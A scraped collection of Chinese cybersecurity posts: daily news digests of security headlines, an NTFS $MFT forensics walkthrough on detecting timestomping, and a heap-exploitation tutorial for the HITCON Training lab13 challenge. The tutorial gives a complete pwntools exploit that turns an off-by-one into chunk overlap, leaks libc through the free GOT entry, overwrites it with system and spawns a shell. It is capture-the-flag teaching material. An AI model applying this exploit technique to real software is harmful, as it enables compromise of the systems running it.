网络安全日报 2021年06月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新型勒索软件DarkRadiation针对Linux和Docker容器 https://securityaffairs.co/wordpress/119256/uncategorized/wormable-bash-darkradiation-ransomware.html 2、恶意PyPI包劫持开发人员设备进行挖矿活动 https://www.bleepingcomputer.com/news/security/malicious-pypi-packages-hijack-dev-devices-to-mine-cryptocurrency/ 3、Tor 浏览器修补通过已安装应用追踪用户的漏洞 https://www.securityweek.com/tor-browser-patches-application-probing-vulnerability 4、DirtyMoe 僵尸网络在2021年上半年已感染超10W个Windows系统 https://securityaffairs.co/wordpress/119230/malware/dirtymoe-botnet-growing.html 5、研究人员开发DroidMorph工具,可创建Android应用克隆(恶意/良性) https://securityaffairs.co/wordpress/119206/malware/droidmorph-tool-generates-android-malware-clones-that.html 6、比利时列日市政府IT网络遭受勒索软件攻击 https://securityaffairs.co/wordpress/119240/malware/city-of-liege-ransomware.html 7、MITRE 将NSA开发的 D3FEND 防御策略知识库添加到 ATT&CK 框架 https://www.securityweek.com/mitre-adds-d3fend-countermeasures-attck-framework 8、Zephyr 的蓝牙 LE 堆栈中多个漏洞可能导致 DoS 攻击、信息泄露 https://www.securityweek.com/vulnerabilities-zephyrs-bluetooth-le-stack-may-lead-dos-attacks 9、电子邮件服务器软件Dovecot高危漏洞可导致消息侦听、凭据盗窃 https://threatpost.com/email-bug-message-snooping-credential-theft/167125/ 10、研究人员设计了一种对抗人脸识别的攻击-ADVERSARIAL OCTOPUS https://securityaffairs.co/wordpress/119248/hacking/adversarial-octopus-facial-recognition.html
网络安全日报 2021年06月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Ragnar Locker 发布了700GB从ADATA窃取的数据 https://securityaffairs.co/wordpress/119196/cyber-crime/ragnar-locker-ransomware-adata.html 2、军情五处因担心安全风险没收了约翰逊的手机 https://securityaffairs.co/wordpress/119174/security/mi5-seized-boris-johnson-phone.html 3、NSA 发布保护企业通信系统的指南 https://www.securityweek.com/nsa-releases-guidance-securing-enterprise-communication-systems 4、Nvidia Jetson Soc框架存高危漏洞可导致DoS攻击和数据窃取 https://threatpost.com/nvidia-jetson-chipset-dos-data-theft/167093/ 5、Wire Messaging App 高危漏洞可导致用户帐号被完全控制 https://portswigger.net/daily-swig/xss-flaw-in-wire-messaging-app-allowed-attackers-to-fully-control-user-accounts 6、北约使用的云平台被入侵和盗取数据 https://news.softpedia.com/news/nato-s-cloud-platform-has-been-hacked-533282.shtml 7、Google App 漏洞可被用于从设备中窃取个人数据 https://techcrunch.com/2021/06/17/a-security-bug-in-googles-android-app-installed-on-billions-of-devices-put-user-data-at-risk/ 8、研究人员发现iCloud忘记密码功能可通过大规模并发连接实现爆破 https://thezerohack.com/apple-vulnerability-bug-bounty 9、Zoll修补除颤器管理软件中的多个高风险漏洞 https://portswigger.net/daily-swig/healthcare-vendor-zoll-patches-high-risk-vulnerabilities-in-defibrillator-management-software 10、网络安全公司Cognyte暴露50亿条数据泄露记录 https://www.hackread.com/cybersecurity-firm-expose-data-breach-records/
网络安全日报 2021年06月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、APT 组织 Kimsuky 利用 VPN 漏洞入侵了韩国核研究机构 KAERI https://securityaffairs.co/wordpress/119147/apt/kimsuky-apt-hacked-south-korea-kaeri.html 2、美国连锁超市 Wegmans 披露数据泄露 https://securityaffairs.co/wordpress/119115/data-breach/wegmans-discloses-data-breach.html 3、专家发现 Cisco Small Business 220 系列产品多个漏洞 https://securityaffairs.co/wordpress/119108/security/cisco-small-business-220-flaw.html 4、游轮运营商嘉年华披露电子邮件账户数据泄露事件 https://securityaffairs.co/wordpress/119102/data-breach/carnival-security-breach.html 5、最近的Akamai 中断是因 Prolexic DDoS 保护服务的问题引起的 https://securityaffairs.co/wordpress/119094/security/akamai-outage-akamai-bug.html 6、研究人员发现iPhone新漏洞可永久破坏其WiFi功能 https://securityaffairs.co/wordpress/119157/hacking/iphone-bug-wifi-connectivity.html 7、波兰称最近的网络攻击来自俄罗斯 https://www.securityweek.com/major-cyberattack-poland-came-russian-territory-kaczynski 8、攻击者利用谷歌文档发送钓鱼链接窃取用户凭据 https://www.avanan.com/blog/attackers-take-advantage-of-new-google-doc-exploit?hs_preview=yDruqEUZ-48384993709 9、数十万Netflix和Disney+的账户在暗网售卖 https://www.technadu.com/hundreds-thousands-netflix-disney-plus-accounts-purchase-dark-web/284336/ 10、GitLab修复了严重的SSRF漏洞 https://portswigger.net/daily-swig/gitlab-fixes-serious-ssrf-flaw-that-exposed-orgs-internal-servers
Windows 取证之$MFT
一、什么是MFT MFT,全称Master File Table,即主文件表,它是NTFS文件系统的核心。它是包含了NTFS卷中所有文件信息的数据库,在$MFT 中每个文件(包括MFT本身)至少有一个MFT,记录着该文件的各种信息。这些信息被称为属性。 NTFS使用MFT条目定义它们对应的文件,有关文件的所有信息,比如大小、时间、权限等都存在MFT条目中,或者由MFT条目描述存储在MFT外部的空间中。 MFT由一个个MFT项(也称为文件记录(File Record))组成,每个MFT项占用1024字节的空间。这个概念相当于Linux中的inode,File Record在$MFT文件中物理上是连续的,且从0开始编号,每个MFT项的前部几十个字节有着固定的头结构,用来描述本MFT项的相关信息。后面的字节存放着“属性”。(-via 百度百科) 二、MFT与数据恢复 在正常情况下,MTF条目会随着文件添加到NTFS卷中而增加,因此MFT的大小也会增加,当文件从NTFS卷中删除时,其MFT条目会被标记为free(空闲),以准备被重复使用,此条目会继续存在,直到它被新文件覆盖。但MFT所占空间大小不会因为删除文件而缩小。 例子:假如现在有100个MFT条目和一个文件X,现在删除文件X并立即创建500个以上文件,那么文件X的MFT条目将会被覆盖。虽然文件的内容可能存在与硬盘上,但包含名称、元数据等的MFT条目将被覆盖。 例子2:现在MFT有10000个条目,删除1000个文件和立即添加2个新文件。此时,可以恢复998个条目。不过文件的数据是否可以恢复得看它们是否已被覆盖。 这种文件数据和MFT条目分开的方式,会导致在删除操作后存在以下几种可能性: 1、文件被删除,但MFT条目和文件数据是100%可恢复的,则删除的文件可以100%被恢复。 2、文件被删除,MFT条目可恢复,但部分文件数据被覆盖,则该文件部分可被恢复。 3、文件被删除,MFT条目可恢复,但是文件数据被100%覆盖,则该文件不可恢复,但该文件相关属性信息(名称、日期、大小等信息)可被恢复。 4、文件被删除,MFT条目和文件数据100%可恢复,但文件已100%丢失,这种情况下。取证调查可以揭示该文件的大量信息,但不是通过MFT,而是使用其他证物。 5、文件被删除且MFT100%被覆盖,但文件数据未100%被覆盖。剩余的文件可以从磁盘上未分配的空间恢复。但雕刻数据的结果取决于碎片、可恢复数据的数量(可能是100%)和文件的性质。 当然,MFT被覆盖时,存在非100%被覆盖的情况,这种情况被称为MFT文件松弛,标准上来说,MFT条目被分配1024字节的固定空间。如果MFT条目小于1024字节。比如1000字节,则剩下为额外松弛空间。比如一个只有200字节长的密码文件,其文件数据也会被放置在MFT内,这种文件数据称为常驻数据。而文件名称、日期等元数据只占用大约500字节左右,如果删除了文件并在其位置创建了新的MFT条目,且不包括常驻数据。这意味着即使这个文件被删除,如果仔细检查也能恢复。 三、$MFT文件在取证中的应用 题目来源:Cynet应急响应挑战赛 题目描述:GOT公司的CTO在自己的笔记本上发现了可疑的活动。他说桌面上某些文件突然被移动了位置,而且其他文件似乎还在不合逻辑的日期被修改。他希望我们找出桌面上文件异常的相关证据。通过 一些技术检查,我们发现他是对的。桌面文件有明显的异常痕迹。请根据提供的$MFT文件找到与文件更改/修改相关的异常痕迹。 提示:1、找出受攻击者影响的文件名称及其原始创建时间。2、该文件位于桌面上。3、时间格式:DD-MM-YYYY HH:MM:SS ,文件名格式:filename.ext(ext是文件扩展名) 下载题目提供的文件 用Winhex打开可以查看其组成结构 我们可以通过$MFT解析软件把MFT条目导出来 Mft2Csvhttps://github.com/jschicht/Mft2Csv 下载打开软件,选择$MFT文件,然后导出到csv文件 导出的条目会以csv文件的形式存放在软件目录下 打开导出的csv文件,就可以看到文件的名称,日期,权限等各种信息 我们找到桌面上的相关文件 通过筛选,我们把要找的文件锁定在19个相关文件内容中 通过观察比较,发现其中一个文件时间有异常 0x0567DC00|GOOD|OK||88567|13|1|86832|1|Mod-File.txt|:\Users\DFIR\Desktop\Mod-File.txt|FILE|ALLOCATED|1|archive|archive|DOS+WIN32|0|2019-01-01 01:01:01.0000000|2019-01-01 01:01:01.0000000|2020-01-19 12:19:30.3933817|2019-01-01 01:01:01.0000000|0|2020-01-19 11:51:19.3290999|2020-01-19 11:51:25.8535572 上述项目对应的含义如下: RecordOffset|Signature|IntegrityCheck|Style|HEADER_MFTREcordNumber|HEADER_SequenceNo|Header_HardLinkCount|FN_ParentReferenceNo|FN_ParentSequenceNo|FN_FileName|FilePath|HEADER_Flags|RecordActive|FileSizeBytes|SI_FilePermission|FN_Flags|FN_NameType|ADS|SI_CTime|SI_ATime|SI_MTime|SI_RTime|MSecTest|FN_C 在其文件日期修改日期和访问日期上都很不正常,都是2019-01-01 01:01:01.0000000,通过比较FN Info Creation date(FN_CTime)和Std Info Creation date(SI_CTime)发现两种时间不一致。(注:FN (FILE_NAME) ,SI (STANDARD_INFORMATION) );而$FN只能由内核级进程修改,攻击者想修改非常困难。 至此我们找出了被修改的文件是Mod-File.txt,文件的原始创建时间是19-01-2020 11:51:19 四、总结 攻击者利用的是Timestomp技术。Timestomp 是一种修改文件时间戳(修改,访问,创建和更改时间)的技术,通常用于模拟同一文件夹中的文件。该技术可以用在攻击者修改或创建的文件上,使得它们在取证调查人员或文件分析工具面前更加隐蔽。Timestomp 可以与文件名伪装(Masquerading)结合使用来隐藏恶意软件和工具。(https://attack.mitre.org/techniques/T1070/006/) 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016100813263000001  (本实验主要介绍 Linux 环境下的磁盘取证和内存取证工具的使用包括 Ftkimage、xmount、Volatility等。)
网络安全日报 2021年06月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、在线零售商 Cosmolog Kozmetik 数十万客户数据泄露 https://securityaffairs.co/wordpress/119067/data-breach/cosmolog-kozmetik-data-breach.html 2、Ferocious Kitten APT利用伪装的Telegram和Psiphon部署RAT https://securityaffairs.co/wordpress/119073/apt/ferocious-kitten-apt-campaign.html 3、UNC2465网络犯罪集团对摄像头厂商大华进行供应链攻击 https://securityaffairs.co/wordpress/119051/cyber-crime/unc2465-supply-chain-attack.html 4、Chrome修复被在野利用的零日漏洞 https://www.securityweek.com/google-confirms-sixth-zero-day-chrome-attack-2021 5、研究人员发现2G网络GPRS存在漏洞,流量或被窃听超过20年 https://www.securityweek.com/security-flaw-found-2g-mobile-data-encryption-standard 6、谷歌推出 SLSA 框架以加强供应链完整性 https://www.securityweek.com/google-intros-slsa-framework-enforce-supply-chain-integrity 7、研究人员披露了一种新的进程篡改攻击技术-Process Ghosting https://thehackernews.com/2021/06/researchers-uncover-process-ghosting.html 8、针对中东政府的Molerats 黑客组织在消失两个月后卷土重来 https://thehackernews.com/2021/06/molerats-hackers-return-with-new.html 9、韩国HMM海运公司电子邮件系统遭网络攻击 https://theloadstar.com/hmm-suffers-security-breach-and-cyber-attack-on-its-email-systems/ 10、攻击者邮寄伪造的Ledger设备窃取加密货币 https://www.bleepingcomputer.com/news/cryptocurrency/criminals-are-mailing-hacked-ledger-devices-to-steal-cryptocurrency/
网络安全日报 2021年06月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、美国最大的丙烷供应商AmeriGas数据泄露 https://www.bleepingcomputer.com/news/security/largest-us-propane-distributor-discloses-8-second-data-breach/ 2、微软Teams存严重漏洞可能允许攻击者窃取敏感数据 https://portswigger.net/daily-swig/vulnerability-in-microsoft-teams-granted-attackers-access-to-emails-messages-and-personal-files 3、波兰政府称机构和个人遭受前所未有的一系列网络攻击 https://securityaffairs.co/wordpress/119043/hacking/poland-hit-cyber-attacks.html 4、国际联合行动逮捕了多名Clop 勒索软件成员 https://securityaffairs.co/wordpress/119036/cyber-crime/clop-ransomware-arrest.html 5、谷歌发布全同态加密的开源工具和库 https://www.securityweek.com/google-releases-open-source-tools-and-libraries-fully-homomorphic-encryption 6、谷歌为 Android 消息应用推出 E2EE(端到端加密) https://www.securityweek.com/google-rolls-out-e2ee-android-messages-app 7、施耐德 PowerLogic 设备存在漏洞可被黑客控制和利用 https://www.securityweek.com/vulnerabilities-allow-hackers-disrupt-hijack-schneider-powerlogic-devices 8、STEM 会议免提电话存在漏洞可被用于窃听对话 https://www.securityweek.com/flaws-stem-conference-room-speakerphone-can-be-exploited-spy-users 9、Peloton Bike+ 存严重漏洞可被黑客完全控制 https://threatpost.com/peloton-bike-bug-hackers-control/166960/ 10、超过 10 亿条属于 CVS Health 的数据在线泄露 https://www.zdnet.com/article/billions-of-records-belonging-to-cvs-health-exposed-online
网络安全日报 2021年06月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Paradise Ransomware 源代码在 XSS 黑客论坛泄露 https://securityaffairs.co/wordpress/119006/cyber-crime/paradise-ransomware-code-leaked.html 2、Instagram修复了查看任意用户私人动态的漏洞 https://securityaffairs.co/wordpress/118994/security/instagram-flaw-2.html 3、富士胶片在勒索软件攻击后恢复服务 https://www.securityweek.com/fujifilm-restores-services-following-ransomware-attack 4、数以百万计联网摄像头受ThroughTek组件漏洞影响 https://threatpost.com/millions-connected-cameras-eavesdropping/166950/ 5、微软破坏了大规模、基于云的 BEC 活动 https://threatpost.com/microsoft-disrupts-cloud-bec-campaign/166937/ 6、TeaBot 木马通过冒充防病毒应用程序进行传播 https://cyware.com/news/teabot-trojan-spreads-via-fake-antivirus-apps-d59f7630 7、攻击者利用SEO中毒分发SolarMarker恶意软件 https://www.bleepingcomputer.com/news/security/microsoft-seo-poisoning-used-to-backdoor-targets-with-malware/ 8、黑客出售法国电信供应商Free的数据库访问权 https://www.technadu.com/hacker-broke-into-french-isp-free-selling-database-access/283142/ 9、Facebook Messenger Rooms中存在安全漏洞 https://portswigger.net/daily-swig/android-screen-lock-protection-thwarted-by-facebook-messenger-rooms-exploit 10、SIP通信协议可能被滥用来执行跨站脚本攻击 https://portswigger.net/daily-swig/sip-protocol-abused-to-trigger-xss-attacks-via-voip-call-monitoring-software
堆利用之Chunk extend Overlapping
漏洞简介 chunk extend overlapping在堆中是一种比较常见的利用手段,其主要原理就是因为某些意外情况我们可以去修改一些已经申请或在空闲状态的堆块的大小,从而造成堆块重叠的情况,而这也就引发了一系列安全隐患。 本文涉及相关实验:https://www.yijinglab.com/cour.do?w=1&c=CCID31b0-fe03-4277-8e2f-504c4960d33f  (ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。) 这里我将根据一道题来介绍这个漏洞的利用流程 例题:HITCON Trainging lab13     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x400000) 查看保护机制,开启canary与nx保护,因为题目给出源码所以我们直接对着源码进行分析 源码分析 void menu(){ puts("--------------------------------"); puts("          Heap Creator          "); puts("--------------------------------"); puts(" 1. Create a Heap               "); puts(" 2. Edit a Heap                 "); puts(" 3. Show a Heap                 "); puts(" 4. Delete a Heap               "); puts(" 5. Exit                        "); puts("--------------------------------"); printf("Your choice :"); } 经典菜单题,根据我们输入的选项执行不同的功能 Create函数 我们先看一下Create函数 void create_heap(){ int i ; char buf[8]; size_t size = 0; for(i = 0 ; i < 10 ; i++){ if(!heaparray[i]){ heaparray[i] = (struct heap *)malloc(sizeof(struct heap)); if(!heaparray[i]){ puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0,buf,8); size = atoi(buf); heaparray[i]->content = (char *)malloc(size); if(!heaparray[i]->content){ puts("Allocate Error"); exit(2); } heaparray[i]->size = size ; printf("Content of heap:"); read_input(heaparray[i]->content,size); puts("SuccessFul"); break ; } } } heaparray数组是声明的heap结构体数组,其中的内容如下所示 struct heap { size_t size ; char *content ; }; 首先create函数会先为heaparray中的每一个结构体元素分配一个0x10大小的内存,然后在对结构体中的content指针分配我们所指定的大小的内存,并执行read_input函数存放我们输入的内容 Edit函数 接下来继续往下看Edit函数 void edit_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ printf("Content of heap : "); read_input(heaparray[idx]->content,heaparray[idx]->size+1); puts("Done !"); }else{ puts("No such heap !"); } } edit函数会根据我们输入的索引去heaparray中寻找对应的结构体,需要注意的是这里的索引与数组一致都是从零开始,这里需要注意的是read_input函数在写入内容时共存入了size+1位,这也就造成了off-by-one漏洞,找到一个漏洞点。 Show函数 继续往下Show函数打印对应结构体中content中存放的内容 void show_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content); puts("Done !"); }else{ puts("No such heap !"); } } Delete函数 而我们最后需要关注的就是 void delete_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ free(heaparray[idx]->content); free(heaparray[idx]); heaparray[idx] = NULL ; puts("Done !"); }else{ puts("No such heap !"); } } 在delete函数中它是先将content申请的内存free掉再free的结构体内存,我们后面进行漏洞利用时这里会用到 漏洞利用 我们这里的利用思路是: 1、利用off by one漏洞完成堆重叠并构建含有/bin/sh的堆块 2、泄露出free函数并计算出libc基地址与system地址 3、覆盖free函数的got表中的地址为system地址 4、free掉包含/bin/sh的堆块,获取shell 我们先构造exp中上述代码对应的功能函数 def menu(index): p.sendlineafter("Your choice :", str(index)) def Create(heap_size, content): menu(1) p.sendlineafter("Size of Heap : ", str(heap_size)) p.sendlineafter("Content of heap:", content) def Edit(index, content): menu(2) p.sendlineafter("Index :", str(index)) p.sendlineafter("Content of heap : ", content) def Show(index): menu(3) p.sendlineafter("Index :", str(index)) def Free(index): menu(4) p.sendlineafter("Index :", str(index)) 1、利用off-by-one完成extend overlapping 在源码中我们发现了其存在off by one漏洞,我们就利用这个漏洞完成对堆块的extend overlapping 使用pwndbg对程序进行调试 --------------------------------           Heap Creator           --------------------------------  1. Create a Heap                 2. Edit a Heap                   3. Show a Heap                   4. Delete a Heap                 5. Exit                         -------------------------------- Your choice :1 Size of Heap : 24 Content of heap:content1 SuccessFul --------------------------------           Heap Creator           --------------------------------  1. Create a Heap                 2. Edit a Heap                   3. Show a Heap                   4. Delete a Heap                 5. Exit                         -------------------------------- Your choice :1 Size of Heap : 16 Content of heap:content2 SuccessFul 首先我们创建两个heap,然后ctrl+c,使用heap指令查看当前堆的状态 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x603000 Size: 0x251 //struct1 Allocated chunk | PREV_INUSE Addr: 0x603250 Size: 0x21 //struct1->content Allocated chunk | PREV_INUSE Addr: 0x603270 Size: 0x21 //stuct2 Allocated chunk | PREV_INUSE Addr: 0x603290 Size: 0x21 //struct2->content Allocated chunk | PREV_INUSE Addr: 0x6032b0 Size: 0x21 //top chunk Top chunk | PREV_INUSE Addr: 0x6032d0 Size: 0x20d31 这些便是我们申请的内存,查看内存信息 pwndbg> x/20gx 0x603250 0x603250: 0x0000000000000000 0x0000000000000021 0x603260: 0x0000000000000018 0x0000000000603280 0x603270: 0x0000000000000000 0x0000000000000021 0x603280: 0x31746e65746e6f63 0x000000000000000a 0x603290: 0x0000000000000000 0x0000000000000021 0x6032a0: 0x0000000000000010 0x00000000006032c0 0x6032b0: 0x0000000000000000 0x0000000000000021 0x6032c0: 0x32746e65746e6f63 0x000000000000000a 0x6032d0: 0x0000000000000000 0x0000000000020d31 从地址到高地址依次是 0x603250-0x603268 heap_struct1申请的内存 0x603270-0x603288 heap_stuct1->content申请的内存 0x603290-0x6032a8 heap_struct2申请的内存 0x6032b0-0x6032c8 heap_struct2->content申请的内存 而它们的存储对应了系统中堆块的构造 我们拿第一个堆块进行说明 0x603250中存放的是其前一个堆块的大小(prev_size) 0x603258中存放的是当前堆块的大小(size) 0x603260-0x603268便是heap_struct1结构体存放的位置 特别的是当堆块的前一个堆块处于使用状态时,会被当前堆块size的最低位记为1,并且prev_size也会作为可利用内存供前一个堆块去存储数据。说到这里也就可以解释为什么size的大小是0x21了,在64位程序下,prev_size与size各占8字节大小,再加上data域的0x10,一共就是0x10+0x8+0x8=0x20,而因为当前堆块的size域中用来记录前一个堆块使用状态的P位被置一了,所以我们要再加1,所以最后存放在size域中的值是0x21。 继续回到漏洞利用,当我们创建完这4个堆块后(两个struct两个content),在执行Edit函数时,因为off-by-one漏洞的缘故,我们共可以输入size+1位字符,而当我们选择Edit的对象是content1时,因为堆是连续的,我们就可以覆盖掉struct2的一位字节,根据上面对于堆块的介绍,如果我们覆盖的是当前堆块的size时,就会造成extend,进而触发新的漏洞利用。 继续执行程序,因为我们content1申请了24的内存,所以这里我们输入25个字符。 查看堆中情况,发现因为off-by-one的缘故我们已经成功覆盖掉struct2的size域,而我们想要达到的目的是控制struct2以及struct2->content的内存,所以这里我们将数覆盖为0x41,及'A'的ASCII码值,对应exp如下所示: Create(24, "content1") Create(16, "content2") binsh = "/bin/sh\x00" Edit(0, binsh.ljust(25, "A")) 这里将填充位改为使用"/bin/sh"是为了我们后续获取shell时用到 接下来我们需要free掉heap2(struct2跟struct->content) free(heaparray[idx]->content); free(heaparray[idx]); 根据堆中bins的规则我们当前free的chunk会被回收到tcache中,而源码中我们是先free的struct->content再free的struct,而如果我们这时再申请一个堆块(记作struct3),那么struct3申请的内存区域就会是struct2->content刚刚free的内存区域,并且当我们令struct3->content所申请的内存大小为0x30时,经过我们extend后的struct2的内存区域就会被struct3->content使用。 我们用gdb调试free后新创建一个堆块的内存的布局 Free(1) Create(0x30, "content3") 可以看到我们这里已经成功完成了extend overlapping,并且都被存放在了tcache中,继续执行程序 可以看到原先空闲的块已经被使用了,我们再来看看里面存的内容 可以看到这里我们已经成功创建了struct3与struct3->content的内存,这样看可能不是很明显,我在这里详细说明一下 0x22d5290-0x22d52c8 是struct3->content的内存区域 0x22d52b0-0x22d52c8 是struct3的结构体申请的内存区域 0x22d52d0-0x22d52d8 是arena的所属内存区域(即top chunk) 可以看出struct3的结构体内存区域是被包含在struct3->content的内存区域中的,而我们又可以通过Edit函数来对struct3->content的内存区域进行写入操作,那么我们现在所需要做的事情就是下面几步 1、泄露free函数got表中的真实地址 2、通过free函数的真实地址计算出libc基地址和system地址 3、将free_got中的地址替换为system函数的真实地址 4、获取shell 2、泄露free函数&&计算libc基地址与system地址 要达到这步我们现在只需要通过edit函数将struct3结构体中content指针的地址改为free_got的地址,并使用show函数打印出真实地址即可 对应exp如下所示 Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got)) Show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) log.success("free addr: 0x%x"%free_addr) 而我们当有了free函数的基地址,就能求出libc与system的地址了 libc_base = free_addr - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] log.success('system addr: ' + hex(system_addr)) 效果如下图所示 3、获取shell 到现在为止我们获取shell的所有必要条件都完成了,最后只需要修改掉free_got中的真实地址为system的地址即可。因为前面我们已经将struct结构体中的content指针地址修改为了free_got的地址,所有这里我们只需要通过Edit函数对其中的内容进行修改即可,修改完成后我们执行free函数也就等同于执行system函数,而在前面我们已经构建了一个包含"/bin/sh"的chunk(struct1->content),也就是说我们只要free掉struct1->content就可以完成漏洞利用获得shell 对应exp如下所示 Edit(1, p64(system_addr)) Free(0) 然后我们就能执行system("/bin/sh")获得shell 完整exp如下所示 from pwn import * import time def menu(index): p.sendlineafter("Your choice :", str(index)) def Create(heap_size, content): menu(1) p.sendlineafter("Size of Heap : ", str(heap_size)) p.sendlineafter("Content of heap:", content) def Edit(index, content): menu(2) p.sendlineafter("Index :", str(index)) p.sendlineafter("Content of heap : ", content) def Show(index): menu(3) p.sendlineafter("Index :", str(index)) def Free(index): menu(4) p.sendlineafter("Index :", str(index)) def debug(): gdb.attach(p) p = process('./heapcreator') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./heapcreator') free_got = elf.got['free'] Create(24, "content1") Create(16, "content2") binsh = "/bin/sh\x00" Edit(0, binsh.ljust(25, "A")) Free(1) Create(0x30, "content3") Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got)) Show(1) p.recvuntil("Content : ") free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) log.success("free addr: 0x%x"%free_addr) libc_base = free_addr - libc.symbols['free'] log.success('libc base addr: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] log.success('system addr: ' + hex(system_addr)) Edit(1, p64(system_addr)) debug() Free(0) p.interactive() 参考链接 https://blog.csdn.net/qq_41202237/article/details/108320408?fileGuid=6cwyDXdtXXk6t8Jvhttps://blog.csdn.net/weixin_43921239/article/details/107841328?fileGuid=6cwyDXdtXXk6t8Jv
网络安全日报 2021年06月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、谷歌为Google Workspace推出客户端加密 https://thehackernews.com/2021/06/google-workspace-now-offers-client-side.html 2、NoxPlayer 供应链攻击与Gelsemium黑客组织有关 https://thehackernews.com/2021/06/noxplayer-supply-chain-attack-is-likely.html 3、Mirai 僵尸网络变体 Moobot利用Tenda路由器漏洞进行传播 https://threatpost.com/moobot-tenda-router-bugs/166902/ 4、大众汽车供应商泄露了330万名客户的个人数据 https://threatpost.com/vw-data-3m-audi-drivers/166892/ 5、美国核武器承包商Sol Oriens 遭REvil勒索软件攻击 https://threatpost.com/revil-hits-us-nuclear-weapons-contractor-sol-oriens/166858/ 6、CD Projekt Red证实在遭攻击四个月后,相关被盗数据在线泄露 https://threatpost.com/cyberpunk-2077-hacked-data-online/166852/ 7、苹果称WebKit 漏洞被利用来破解旧款 iPhone,已发布更新补丁 https://www.securityweek.com/apple-webkit-bugs-exploited-hack-older-iphones 8、麦当劳披露美国、台湾和韩国的数据泄露事件 https://securityaffairs.co/wordpress/118894/data-breach/mcdonalds-data-breach.html 9、 polkit 身份验证系统漏洞影响大多数Linux发行版 https://securityaffairs.co/wordpress/118877/security/polkit-auth-linux-distros.html 10、Avaddon 勒索软件团伙关闭其运营并释放解密密钥 https://securityaffairs.co/wordpress/118872/cyber-crime/avaddon-ransomware-shuts-down-operations.html
网络安全日报 2021年06月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、攻击者利用 SonicWall VPN 漏洞破坏 SRA 设备 https://www.securityweek.com/attackers-leverage-sonicwall-vpn-flaw-compromise-sra-appliances 2、GitHub 开始扫描RubyGems、PyPI等开源包中可能泄露的凭证 https://www.securityweek.com/github-starts-scanning-exposed-package-registry-credentials 3、霍尼韦尔推出 OT 网络安全监控和响应服务 https://www.securityweek.com/honeywell-launches-ot-cybersecurity-monitoring-and-response-service 4、谷歌修复了被利用的Chrome零日漏洞 https://www.securityweek.com/google-patches-chrome-zero-day-used-commercial-exploit-company 5、 JBS 确认向REvil勒索团队支付了 1100 万美元的赎金 https://www.securityweek.com/meat-company-jbs-confirms-it-paid-11m-ransom-cyberattack 6、游戏巨头EA遭黑客入侵被窃取780GB数据,包括游戏源码和工具 https://securityaffairs.co/wordpress/118820/data-breach/electronic-arts-data-breach.html 7、 2017 年荷兰调查MH-17事件时,与俄相关APT入侵了荷兰警方网络 https://securityaffairs.co/wordpress/118794/apt/russia-linked-apt-dutch-police.html 8、Group-IB 发布报告称诈骗已经成为在线犯罪之首 